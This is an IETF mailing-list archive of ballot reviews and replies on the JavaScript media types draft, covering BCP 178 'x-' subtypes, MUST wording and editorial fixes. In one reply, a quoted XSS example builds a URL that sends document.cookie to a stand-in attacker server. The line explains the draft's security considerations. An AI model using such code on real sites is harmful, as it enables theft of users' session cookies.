It captures the fact that ECMAScript is a living standard that keeps evolving, with new versions being published annually. It is possible that a new script goal (other than "classic script" and "module") is added in the future, and at that point, we might need a new RFC with updated media type registrations. In several of the subsections of Section 6.2, there are some errant > punctuation > characters hanging around. > Thanks. I believe we cleaned up at least some of those in https://github.com/linuxwolf/bmeck-ids/pull/62. Let me know if there=E2=80= =99s any others. > > This document is registering media subtypes starting with "x-" even thoug= h > BCP > 178 says not to do that. If the working group intends to do this for > historical reasons, I suggest including a sentence explaining that this i= s > being done intentionally, perhaps under Appendix A of RFC 6838. (See, fo= r > example, Section 6 of RFC 8894.) > This is not new content / a new registration, but rather content inherited from RFC4329, which our draft iaims to supersede. The draft already explains that it updates RFC4329. Is that sufficient? --000000000000cbe4ae05d4fa80b9 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Thanks for the review. Replies inline:
On = Thu, Jan 6, 2022 at 5:53 AM Murray Kucherawy via Datatracker <noreply@ietf.org> wrote:
Murray Kucherawy has entered the = following ballot position for
draft-ietf-dispatch-javascript-mjs-13: No Objection

When responding, please keep the subject line intact and reply to all
email addresses included in the To and CC lines. (Feel free to cut this
introductory paragraph, however.)


Please refer to https://www.ietf.org/blog/h= andling-iesg-ballot-positions/
for more information about how to handle DISCUSS and COMMENT positions.


The document, along with other ballot positions, can be found here:
https://datatracker.ietf.org/doc= /draft-ietf-dispatch-javascript-mjs/



----------------------------------------------------------------------
COMMENT:
----------------------------------------------------------------------

The MUST in Section 2 is kind of peculiar.=C2=A0 Is it a reminder to implem= enters
today that they need to keep an eye out for possible updates in the future?= =C2=A0 If
so, I think it's unnecessary.=C2=A0 If something else is meant, then I&= #39;m quite
confused.

It captures the fact that ECM= AScript is a living standard that keeps evolving,=C2=A0with new versions be= ing published annually. It is possible that a new script goal (other than &= quot;classic script" and "module") is added in the future, a= nd at that point, we might need a new RFC with updated media type registrat= ions.

In several of the subsections of Section 6.2, there are some errant punctu= ation
characters hanging around.

Thanks. I be= lieve we cleaned up at least some of those in=C2=A0https://github.com/linuxwolf/bmeck-ids/p= ull/62. Let me know if there=E2=80=99s any others.=C2=A0

This document is registering media subtypes starting with "x-" ev= en though BCP
178 says not to do that.=C2=A0 If the working group intends to do this for<= br> historical reasons, I suggest including a sentence explaining that this is<= br> being done intentionally, perhaps under Appendix A of RFC 6838.=C2=A0 (See,= for
example, Section 6 of RFC 8894.)

This i= s not new content / a new registration, but rather content inherited from R= FC4329, which our draft iaims to supersede. The draft already explains that= it updates RFC4329. Is that sufficient?
--000000000000cbe4ae05d4fa80b9-- From nobody Fri Jan 7 18:25:13 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 92A8E3A155F; Fri, 7 Jan 2022 18:25:07 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.496 X-Spam-Level: X-Spam-Status: No, score=-1.496 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, KHOP_HELO_FCRDNS=0.399, RCVD_IN_MSPIKE_H3=0.001, RCVD_IN_MSPIKE_WL=0.001, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=no autolearn_force=no Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 135TbrpZmYum; Fri, 7 Jan 2022 18:25:03 -0800 (PST) Received: from outgoing.mit.edu (outgoing-auth-1.mit.edu [18.9.28.11]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 975633A155A; Fri, 7 Jan 2022 18:25:02 -0800 (PST) Received: from mit.edu ([24.16.140.251]) (authenticated bits=56) (User authenticated as kaduk@ATHENA.MIT.EDU) by outgoing.mit.edu (8.14.7/8.12.4) with ESMTP id 2082OkdW032116 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT); Fri, 7 Jan 2022 21:24:53 -0500 Date: Fri, 7 Jan 2022 18:24:45 -0800 From: Benjamin Kaduk To: Mathias Bynens Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Message-ID: <20220108022445.GT11486@mit.edu> References: <164142722748.6967.15810149469713452092@ietfa.amsl.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: Archived-At: Subject: Re: [dispatch] Benjamin Kaduk's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 08 Jan 2022 02:25:08 -0000 Hi Mathias, Your responses all make sense to me, and the changes in the referenced PR look good. Thanks! -Ben On Fri, Jan 07, 2022 at 10:13:15AM +0100, Mathias Bynens wrote: > Thanks for the review! Replies inline. > > On Thu, Jan 6, 2022 at 1:00 AM Benjamin Kaduk via Datatracker < > noreply@ietf.org> wrote: > > > Benjamin Kaduk has entered the following ballot position for > > draft-ietf-dispatch-javascript-mjs-13: No Objection > > > > When responding, please keep the subject line intact and reply to all > > email addresses included in the To and CC lines. (Feel free to cut this > > introductory paragraph, however.) > > > > > > Please refer to https://www.ietf.org/blog/handling-iesg-ballot-positions/ > > for more information about how to handle DISCUSS and COMMENT positions. > > > > > > The document, along with other ballot positions, can be found here: > > https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ > > > > > > > > ---------------------------------------------------------------------- > > COMMENT: > > ---------------------------------------------------------------------- > > > > Section 3 > > > > This document does not define how fragment identifiers in resource > > identifiers ([RFC3986], [RFC3987]) for documents labeled with one of > > the media types defined in this document are resolved. An update of > > this document may define processing of fragment identifiers. > > > > This section is the "modules" section; the disclaimer of specification of > > fragment handling seems to apply to both script and module content, and > > thus > > to be misplaced in this section. > > > > Thanks. Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files. > > > > Section 5 > > > > Module scripts in ECMAScript can request the fetching and processing > > of additional scripts, called importing. Implementations that > > support modules need to process imported sources in the same way as > > scripts. Further, there may be additional privacy and security > > concerns depending on the location(s) the original script and its > > imported modules are obtained from. For instance, a script obtained > > from "host-a.example" could request to import a script from "host- > > b.example", which could expose information about the executing > > environment (e.g., IP address) to "host-b.example". See the section > > "ECMAScript Language: Scripts and Modules" in [ECMA-262] for details. > > > > Is the referenced "ECMAScript Language: Scripts and Modules" section > > supposed to be providing more details on the importing process, or the > > potential privacy and security concerns? I skimmed through it and found > > nothing noteworthy on the latter, which suggests that perhaps the former > > was > > intended. If that's the case, then reordering the sentences within the > > paragraph might be helpful. > > > > Addressed in https://github.com/linuxwolf/bmeck-ids/pull/62/files. > > This circumstance can further be used to make information, that is > > normally only available to the script, available to a web server by > > encoding the information in the resource identifier of the resource, > > which can further enable eavesdropping attacks. Implementation of > > such facilities is subject to the security considerations of the host > > environment, as discussed above. > > > > What does "the resource" refer to, here? I don't see a previous mention of > > a resource that it would be referring to. Is it perhaps a resource that's > > the target of a request to the web server that is receiving the information > > in question? > > > > It refers to for example, URLs, that can be constructed and requested using > JavaScript/DOM APIs on the Web as part of an XSS attack > : > > 'https://hacker-controlled-server.example.com/log-cookie-data?cookie=' > + document.cookie; > > This content is inherited as-is from RFC4329; we’d rather not make changes > to it as it’s outside the scope of our proposed changes. > > Section 7.1 > > > > It's pretty surprising to see a normative dependency on RFC 4329 when we > > claim to obsolete that document. > > > > Note that the registrations intentionally refer to both the new doc and RFC > 4329: > > Person & email address to contact for further information: See > Author's Address section of [this document] and [RFC4329]. > > Happy to make changes if needed but given the above, the normative > reference seems unsurprising to me. > > > > Appendix B > > > > Looking at the diff from RFC 4329, I also see some text about handling > > application/ecmascript content that has a "version" parameter to the media > > type, that seems to have been removed entirely for this document. Is that > > sufficiently noteworthy to be included in this change listing? > > > > This falls under the list item “Updated various references where the > original has been obsoleted.” which is already listed under the “Changes > from RFC 4329” section. > > The "version" parameter refers to the following old RFC 4329 note: > > For the > application/ecmascript media type, implementations MUST NOT process > content labeled with a "version" parameter as if no such parameter > had been specified; this is typically achieved by treating the > content as unsupported. > > This does not match implementation reality, and Web browsers cannot > implement this restriction without Breaking the Web: > https://mathiasbynens.be/demo/javascript-mime-type The "version" parameter > is just ignored in practice, like any other unspecified parameter, so there > is no need to include any text about it. > > NITS > > > > Section 5 > > > > The programming language defined in [ECMA-262] is not intended to be > > computationally self-sufficient, rather it is expected that the > > computational environment provides facilities to programs to enable > > specific functionality. [...] > > > > The comma usage seems off here. I'm not sure if the sentence overall > > contains a comma splice or not, but probably there should be a comma after > > "rather" regardless of whether the first comma is converted to > > semicolon/full-stop or otherwise. > > > > Good catch. Addressed in > https://github.com/linuxwolf/bmeck-ids/pull/62/files. > > > > Section 6 > > > > application/ecmascript" is to be removed. IANA is requested to add > > the note "OBSOLETED in favor of text/javascript" to all registrations > > except "text/javascript". > > > > Presumably this is "all registrations listed in this document", not "all > > registrations in the registry"... > > > > Indeed. That applies to the rest of the sentence as well, e.g. "All > registrations will point to this document as reference.". > > > > Section 6.2.x > > > > I extracted the various subsections and used diff to compare them. > > Aside from the expected variation in type/subtype name and file extension > > (.es vs .js), there is also variation in: > > > > - whether there is a full stop at the end of the "Change controller" line > > > > Good catch! Fixed. > > > > - some have the "Person & email address to contact for further information" > > listing both this document and RFC 4329, but most just list this > > document. > > > > Fixed. > > > > - text/livescript does not have a note about this registration applying to > > later editions of [ECMA-262]; perhaps that's appropriate for the > > livescript media type. > > > > I’ve made this consistent for all registrations in the document. Your nits > helped me find a few other inconsistencies that I’ve addressed as well. > > Thanks, > Mathias From nobody Sat Jan 8 17:37:41 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2EA163A143A; Sat, 8 Jan 2022 17:37:40 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.098 X-Spam-Level: X-Spam-Status: No, score=-2.098 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=gmail.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Yutn9YiDfcX6; Sat, 8 Jan 2022 17:37:37 -0800 (PST) Received: from mail-ua1-x934.google.com (mail-ua1-x934.google.com [IPv6:2607:f8b0:4864:20::934]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 330A63A1439; Sat, 8 Jan 2022 17:37:37 -0800 (PST) Received: by mail-ua1-x934.google.com with SMTP id x33so15923645uad.12; Sat, 08 Jan 2022 17:37:37 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=QGciFHhvbNlbViI1oA7vfURMygnbH9ORzD4r4oKmU0U=; b=NdLQVGjhFjBg7xmtw2ErTprKG1YD7fUz+IIB5UMuqeLptG9GJFeaJdv/vU2DvPpwDF YnuFke4e951Z/cm3r2ixDBTJUIfCUZ0ZeEUgjsW4U0QMKNlHBg2/b7X9UzS4SYdThKCC TxVmeDA1EMZUXzkKNb1I6pASrlqTFWawA59wjM9vkBMfxfwRQ88tMvi2FcbFhJ+n6oRw FVIMX4LMyMCwJZLVTWqC+f6Rc08Ax3aEt/UfOTSKELFJbA4icWcQemAY1dz8HOY03vHo XI42zS4kFru4rLrEtgGwLlWunNvSmN2Wdo+0KjzAn92L3/I5YttEzg2supYsJBxFtmJ7 yoDg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=QGciFHhvbNlbViI1oA7vfURMygnbH9ORzD4r4oKmU0U=; b=ma6kEFM1G0u2X02sY/0f1LbzRkruX633DX/u2cZSGQtLUYvXXocpyRvMX1jaaYPXQP tw8B2PQdadR70dnVlb362BWbxyLVYsfyoYKNXy0zOiU6Cbtr5qbomkvYbZfIm9sGEJli ra6QYs0AccMzBCcCFD8c4o4gIQcURSjudkDDaRl4qihHnJNO+TrSELGXwu/7cG5uu5BJ IXnvuao0YNUN8bVMBygfQjVnH2/uJ5shrxgzrmgSHuVlV6LxTVf+6N1xRLoE9qVFucAW k4/HCr4MR8sV5hwNcKC9ABzACl2oVJzQXsfK7KVrT+i38m1zNPUld+lca0XuID6Twu21 xD3w== X-Gm-Message-State: AOAM533nOCfAoAG7ApVvBK0SUJ+2T9/cf1XS8Nl4wsn/RXT94MAdd6j5 s3+4KIzD0XNfm/oaa0ONWRCN2S3ABWv1g4KoI4C29Dj7 X-Google-Smtp-Source: ABdhPJxKSYRmsZnScMbpNmZ/UtQkO9CHPaMNsON+Mq6py3mc40pp3qoeUPmsyZTSr+cecxIDFrMlPTZcQqv25JimDUc= X-Received: by 2002:ab0:b8e:: with SMTP id c14mr9337421uak.101.1641692255031; Sat, 08 Jan 2022 17:37:35 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> In-Reply-To: From: "Murray S. Kucherawy" Date: Sat, 8 Jan 2022 17:37:23 -0800 Message-ID: To: Mathias Bynens Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="000000000000b1142205d51c439f" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Jan 2022 01:37:40 -0000 --000000000000b1142205d51c439f Content-Type: text/plain; charset="UTF-8" On Fri, Jan 7, 2022 at 1:20 AM Mathias Bynens wrote: > > ---------------------------------------------------------------------- >> COMMENT: >> ---------------------------------------------------------------------- >> >> The MUST in Section 2 is kind of peculiar. Is it a reminder to >> implementers >> today that they need to keep an eye out for possible updates in the >> future? If >> so, I think it's unnecessary. If something else is meant, then I'm quite >> confused. >> > > It captures the fact that ECMAScript is a living standard that keeps > evolving, with new versions being published annually. It is possible that a > new script goal (other than "classic script" and "module") is added in the > future, and at that point, we might need a new RFC with updated media type > registrations. > I think what you've written here is much more clear language than what's in the document presently. When I see a MUST or SHOULD, I'm expecting to see requirements related to interoperability or security of the protocol itself, or operational configuration of a component that implements it. Thus, I don't think this use of MUST is appropriate. > >> This document is registering media subtypes starting with "x-" even >> though BCP >> 178 says not to do that. If the working group intends to do this for >> historical reasons, I suggest including a sentence explaining that this is >> being done intentionally, perhaps under Appendix A of RFC 6838. (See, for >> example, Section 6 of RFC 8894.) >> > > This is not new content / a new registration, but rather content inherited > from RFC4329, which our draft iaims to supersede. The draft already > explains that it updates RFC4329. Is that sufficient? > What I've observed is that the current media type registry does not at present contain any of the "x-" media types this document is registering. I believe that makes them new registrations, and so I suggest that there should be text explaining why BCP 178 doesn't apply here. -MSK --000000000000b1142205d51c439f Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
On Fri, Jan 7, 2022 at 1:20 AM Mathias By= nens <mths@google.com> wrote:<= br>

----------------------------------------------------------------------
COMMENT:
----------------------------------------------------------------------

The MUST in Section 2 is kind of peculiar.=C2=A0 Is it a reminder to implem= enters
today that they need to keep an eye out for possible updates in the future?= =C2=A0 If
so, I think it's unnecessary.=C2=A0 If something else is meant, then I&= #39;m quite
confused.

It captures the fact that ECM= AScript is a living standard that keeps evolving,=C2=A0with new versions be= ing published annually. It is possible that a new script goal (other than &= quot;classic script" and "module") is added in the future, a= nd at that point, we might need a new RFC with updated media type registrat= ions.

I think what you= 9;ve written here is much more clear language than what's in the docume= nt presently.

When I see a MUST or SHOULD, I'm= expecting to see requirements related to interoperability or security of t= he protocol itself, or operational configuration of a component that implem= ents it.=C2=A0 Thus, I don't think this use of MUST is appropriate.
=

=C2=A0
This document is registering media subtypes starting with "x-" ev= en though BCP
178 says not to do that.=C2=A0 If the working group intends to do this for<= br> historical reasons, I suggest including a sentence explaining that this is<= br> being done intentionally, perhaps under Appendix A of RFC 6838.=C2=A0 (See,= for
example, Section 6 of RFC 8894.)

This i= s not new content / a new registration, but rather content inherited from R= FC4329, which our draft iaims to supersede. The draft already explains that= it updates RFC4329. Is that sufficient?

What I've observed is that the current media type regis= try does not at present contain any of the "x-" media types this = document is registering.=C2=A0 I believe that makes them new registrations,= and so I suggest that there should be text explaining why BCP 178 doesn= 9;t apply here.

-MSK
--000000000000b1142205d51c439f-- From nobody Sat Jan 8 18:00:46 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id F35623A1490; Sat, 8 Jan 2022 18:00:44 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.898 X-Spam-Level: X-Spam-Status: No, score=-1.898 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, SPF_HELO_NONE=0.001, SPF_NONE=0.001] autolearn=ham autolearn_force=no Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id eh5MQakY9mFp; Sat, 8 Jan 2022 18:00:43 -0800 (PST) Received: from bsa2.jck.com (ns.jck.com [70.88.254.51]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 7370E3A148F; Sat, 8 Jan 2022 18:00:42 -0800 (PST) Received: from [198.252.137.10] (helo=PSB) by bsa2.jck.com with esmtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1n6NVe-000IsA-QS; Sat, 08 Jan 2022 21:00:38 -0500 Date: Sat, 08 Jan 2022 21:00:31 -0500 From: John C Klensin To: "Murray S. Kucherawy" , Mathias Bynens cc: DISPATCH WG , Ben Campbell , dispatch chairs , The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org Message-ID: <22997B1E50714D0AE9F59239@PSB> In-Reply-To: References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-SA-Exim-Connect-IP: 198.252.137.10 X-SA-Exim-Mail-From: john-ietf@jck.com X-SA-Exim-Scanned: No (on bsa2.jck.com); SAEximRunCond expanded to false Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 09 Jan 2022 02:00:45 -0000 --On Saturday, January 8, 2022 17:37 -0800 "Murray S. Kucherawy" wrote: >>> This document is registering media subtypes starting with >>> "x-" even though BCP >>> 178 says not to do that. If the working group intends to do >>> this for historical reasons, I suggest including a sentence >>> explaining that this is being done intentionally, perhaps >>> under Appendix A of RFC 6838. (See, for example, Section 6 >>> of RFC 8894.) >>> >> >> This is not new content / a new registration, but rather >> content inherited from RFC4329, which our draft iaims to >> supersede. The draft already explains that it updates >> RFC4329. Is that sufficient? >> > > What I've observed is that the current media type registry > does not at present contain any of the "x-" media types this > document is registering. I believe that makes them new > registrations, and so I suggest that there should be text > explaining why BCP 178 doesn't apply here. Mathias, Let me say that a little more strongly. BCP 178, which probably should have been written a decade earlier (in retrospect, we probably should have prohibited them in RFC 4288/BCP 13), reflects many years of experience, pain, and suffering. If you want to make a new registration now that uses one of those "X-" prefixes, you need to explain why they should be an exception -- not only in terms of why BCP 178 is not applicable (as Murray suggests) but even why it is not possible to change the media types now and going forward to ones without the "X-". Murray, consider this early warning of an appeal is this document is approved without that text appearing in some reasonable form. best, john From nobody Mon Jan 10 05:20:47 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B7B4D3A07D3 for ; Mon, 10 Jan 2022 05:20:45 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.099 X-Spam-Level: X-Spam-Status: No, score=-17.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_MED=-0.001, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001, USER_IN_DEF_DKIM_WL=-7.5, USER_IN_DEF_SPF_WL=-7.5] autolearn=unavailable autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=google.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Id6Yq0W9i-mm for ; Mon, 10 Jan 2022 05:20:41 -0800 (PST) Received: from mail-pj1-x1031.google.com (mail-pj1-x1031.google.com [IPv6:2607:f8b0:4864:20::1031]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 21C6E3A07CD for ; Mon, 10 Jan 2022 05:20:41 -0800 (PST) Received: by mail-pj1-x1031.google.com with SMTP id y16-20020a17090a6c9000b001b13ffaa625so22583558pjj.2 for ; Mon, 10 Jan 2022 05:20:41 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=6o1aVHVjI7HFEXUUoNgcZWM7YkzPq3aDMxMP3vvugwE=; b=rBIodJiOFVepMeR2w24RPrwMfOw5CJypfS1FB8ZYQgxDk9qZfsNhiCD/Kbf/kgCfyB k2VQEci9DW6vfPYLjYAxsjl/URgD/eDLMi/eVog4KYTHoChXkJXLICpku5Ki21v81xV/ j7AcT+syYVnKCQ1w8oIFkhpGJuaC2+CW5TtvcDQ4XObKtYrrvhCVDMDCa0BErMLos5GC L7Nzet4wsUc2OpgkPCBysSZtJV8yFYa9HHSUzSqfLELV3q5+MRWCCukLdtlOoaT98+7Z GVCn8xK05WrHhLMCdeBdCWJtTWm96Px5GSK+vWRjWsi6xwnHjmLRaaii+3O1kO9SCF4P Z60g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=6o1aVHVjI7HFEXUUoNgcZWM7YkzPq3aDMxMP3vvugwE=; b=PIsloFKVgc7LNu/KR9gkEn92CiQiWeZR1ecgOUEtswDbu2paj0dspThPUXqTSDhBE9 0PgjLcQJnb4zWB7YlBdvxea46rw3B70rqS8fTYKwxFznT4wHOQ4DfMzIWfPFqPCaOEaq ynFVSIHcbmb4eV1zWoH4B+pGyhKbLPvRga9XUnsnX4MfljZwvWiOQzabagUvEqPbmwF0 56szF9jR5SIq9/v2OAJRYHbTNeWEoJsrY9963yWGGpu0haaIXvnKa+1RTbFQJmJFGm4b Bzh62cUvdGcpx/SySjUog6YYf9WeydjUZpUsLSg4jS5XqJ71n5OFXfkIV5Rb5dtiD2s7 DtCA== X-Gm-Message-State: AOAM532VtL7aeCYsB4chnUpT3/f1aDbp+pu0+JusMg8kd8iLOJKVmNCf rUfBLXOvalCVvFm2JijqnFgB00d4VNBuhuR69o/TA29MRLMY5A== X-Google-Smtp-Source: ABdhPJwtiHoVHI9TFGi6cPmpFLg1Tr5xtRdxEQN16r1MfVqCVuTyB0cp4CqimSsVtnJpTBgNJBRbQ74Qi+gfv/do9L8= X-Received: by 2002:a17:90b:1c09:: with SMTP id oc9mr30103024pjb.59.1641820838837; Mon, 10 Jan 2022 05:20:38 -0800 (PST) MIME-Version: 1.0 References: <164144481153.28700.9521326921012553920@ietfa.amsl.com> In-Reply-To: From: Mathias Bynens Date: Mon, 10 Jan 2022 14:20:27 +0100 Message-ID: To: "Murray S. Kucherawy" Cc: The IESG , draft-ietf-dispatch-javascript-mjs@ietf.org, dispatch chairs , DISPATCH WG , Ben Campbell Content-Type: multipart/alternative; boundary="000000000000e30c8005d53a33fb" Archived-At: Subject: Re: [dispatch] Murray Kucherawy's No Objection on draft-ietf-dispatch-javascript-mjs-13: (with COMMENT) X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Jan 2022 13:20:46 -0000 --000000000000e30c8005d53a33fb Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Sun, Jan 9, 2022 at 2:37 AM Murray S. Kucherawy wrote: > On Fri, Jan 7, 2022 at 1:20 AM Mathias Bynens wrote: > >> >> ---------------------------------------------------------------------- >>> COMMENT: >>> ---------------------------------------------------------------------- >>> >>> The MUST in Section 2 is kind of peculiar. Is it a reminder to >>> implementers >>> today that they need to keep an eye out for possible updates in the >>> future? If >>> so, I think it's unnecessary. If something else is meant, then I'm qui= te >>> confused. >>> >> >> It captures the fact that ECMAScript is a living standard that keeps >> evolving, with new versions being published annually. It is possible tha= t a >> new script goal (other than "classic script" and "module") is added in t= he >> future, and at that point, we might need a new RFC with updated media ty= pe >> registrations. >> > > I think what you've written here is much more clear language than what's > in the document presently. > > When I see a MUST or SHOULD, I'm expecting to see requirements related to > interoperability or security of the protocol itself, or operational > configuration of a component that implements it. Thus, I don't think thi= s > use of MUST is appropriate. > > >> >>> This document is registering media subtypes starting with "x-" even >>> though BCP >>> 178 says not to do that. If the working group intends to do this for >>> historical reasons, I suggest including a sentence explaining that this >>> is >>> being done intentionally, perhaps under Appendix A of RFC 6838. (See, >>> for >>> example, Section 6 of RFC 8894.) >>> >> >> This is not new content / a new registration, but rather content >> inherited from RFC4329, which our draft iaims to supersede. The draft >> already explains that it updates RFC4329. Is that sufficient? >> > > What I've observed is that the current media type registry does not at > present contain any of the "x-" media types this document is registering. > I believe that makes them new registrations, and so I suggest that there > should be text explaining why BCP 178 doesn't apply here. > Thank you. Please take a look at this patch: https://github.com/linuxwolf/bmeck-ids/pull/65/files For context, these are historical legacy types that are supported in practice: https://mathiasbynens.be/demo/javascript-mime-type Although they are OBSOLETED, it=E2=80=99s important that the document specifies them beca= use they are required for Web compatibility. --000000000000e30c8005d53a33fb Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable


=
On Sun, Jan 9, 2022 at 2:37 AM Murray= S. Kucherawy <= superuser@gmail.com> wrote:
On Fri, Jan 7, 2022 at= 1:20 AM Mathias Bynens <mths@google.com> wrote:

----------------------------------------------------------------------
COMMENT:
----------------------------------------------------------------------

The MUST in Section 2 is kind of peculiar.=C2=A0 Is it a reminder to implem= enters
today that they need to keep an eye out for possible updates in the future?= =C2=A0 If
so, I think it's unnecessary.=C2=A0 If something else is meant, then I&= #39;m quite
confused.

It captures the fact that ECM= AScript is a living standard that keeps evolving,=C2=A0with new versions be= ing published annually. It is possible that a new script goal (other than &= quot;classic script" and "module") is added in the future, a= nd at that point, we might need a new RFC with updated media type registrat= ions.

I think what you= 9;ve written here is much more clear language than what's in the docume= nt presently.

When I see a MUST or SHOULD, I'm= expecting to see requirements related to interoperability or security of t= he protocol itself, or operational configuration of a component that implem= ents it.=C2=A0 Thus, I don't think this use of MUST is appropriate.
=

=C2=A0
This document is registering media subtypes starting with "x-" ev= en though BCP
178 says not to do that.=C2=A0 If the working group intends to do this for<= br> historical reasons, I suggest including a sentence explaining that this is<= br> being done intentionally, perhaps under Appendix A of RFC 6838.=C2=A0 (See,= for
example, Section 6 of RFC 8894.)

This i= s not new content / a new registration, but rather content inherited from R= FC4329, which our draft iaims to supersede. The draft already explains that= it updates RFC4329. Is that sufficient?

What I've observed is that the current media type regis= try does not at present contain any of the "x-" media types this = document is registering.=C2=A0 I believe that makes them new registrations,= and so I suggest that there should be text explaining why BCP 178 doesn= 9;t apply here.

Thank you= . Please take a look at this patch: https://github.com/linuxwolf/bm= eck-ids/pull/65/files

For context, these are h= istorical=C2=A0legacy types that are supported in practice:=C2=A0https://mathiasbynens.= be/demo/javascript-mime-type Although they are OBSOLETED, it=E2=80=99s = important that the document specifies them because they are required for We= b compatibility.
